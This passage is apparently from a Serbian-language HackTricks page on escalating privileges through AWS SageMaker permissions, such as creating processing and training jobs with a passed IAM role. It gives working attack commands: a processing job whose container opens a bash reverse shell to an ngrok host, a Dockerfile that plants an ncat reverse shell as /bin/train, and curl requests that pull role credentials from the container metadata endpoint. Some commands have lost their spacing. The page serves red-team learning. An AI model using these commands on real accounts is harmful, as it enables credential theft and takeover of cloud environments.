Odgovor treba da sadrži polje NotebookInstanceArn, koje će sadržati ARN novo kreiranog primerka beležnice. Zatim možemo koristiti create-presigned-notebook-instance-url API da generišemo URL koji možemo koristiti da pristupimo primerku beležnice kada bude spreman:
Pristupite URL-u preko pregledača i kliknite na "Otvori JupyterLab" u gornjem desnom uglu, zatim se spustite do kartice "Launcher" i pod sekcijom "Other" kliknite dugme "Terminal".
Sada je moguće pristupiti metapodacima za pristupne podatke IAM Role.
Potencijalni uticaj: Povećanje privilegija na određenu sagemaker uslugu.
sagemaker:CreatePresignedNotebookInstanceUrl
Ako već postoje Jupyter beleške koje se izvršavaju na njemu i možete ih izlistati pomoću sagemaker:ListNotebookInstances (ili ih otkriti na bilo koji drugi način), možete generisati URL za njih, pristupiti im i ukrasti pristupne podatke kao što je naznačeno u prethodnoj tehnici.
Potencijalni uticaj: Privesc na sagemaker servisnu ulogu koja je pridružena.
sagemaker:CreateProcessingJob,iam:PassRole
Napadač sa ovim dozvolama može naterati sagemaker da izvrši processingjob sa sagemaker ulogom koja je pridružena. Napadač može odrediti definiciju kontejnera koji će se pokrenuti na instanci AWS upravljanog ECS naloga, i ukrasti akreditive pridružene IAM ulozi.
# I uploaded a python docker image to the ECRawssagemakercreate-processing-job \--processing-job-name privescjob \--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role># In my tests it took 10min to receive the shellcurl"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"#To get the creds
Potencijalni uticaj: Privesc na sagemaker servisnu ulogu koja je specificirana.
sagemaker:CreateTrainingJob, iam:PassRole
Napadač sa ovim dozvolama će biti u mogućnosti da kreira trening posao, pokrećući proizvoljan kontejner na njemu sa pridruženom ulogom. Stoga, napadač će biti u mogućnosti da ukrade akreditive uloge.
Ovaj scenario je teže iskoristiti nego prethodni jer morate generisati Docker sliku koja će slati rev šel ili akreditive direktno napadaču (ne možete navesti početnu komandu u konfiguraciji trening posla).
# Create docker imagemkdir/tmp/rev## Note that the trainning job is going to call an executable called "train"## That's why I'm putting the rev shell in /bin/train## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>cat>/tmp/rev/Dockerfile<<EOFFROM ubuntuRUN apt update && apt install -y ncat curlRUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/trainRUN chmod +x /bin/trainCMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/shEOFcd/tmp/revsudodockerbuild.-treverseshell# Upload it to ECRsudodockerlogin-uAWS-p $(awsecrget-login-password--region<region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>sudodockertagreverseshell:latest<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latestsudodockerpush<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
**Potencijalni uticaj:** Privesc na sagemaker servisnu ulogu koja je specificirana.
## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
Napadač sa ovim dozvolama će (potencijalno) biti u mogućnosti da kreira **hyperparameter training job**, **pokrene proizvoljan kontejner** na njemu sa **pridruženom ulogom**.\
Nisam iskoristio ovo zbog nedostatka vremena, ali izgleda slično kao i prethodni napadi, slobodno pošaljite PR sa detaljima o eksploataciji.
# Reference
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini da podržite HackTricks:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>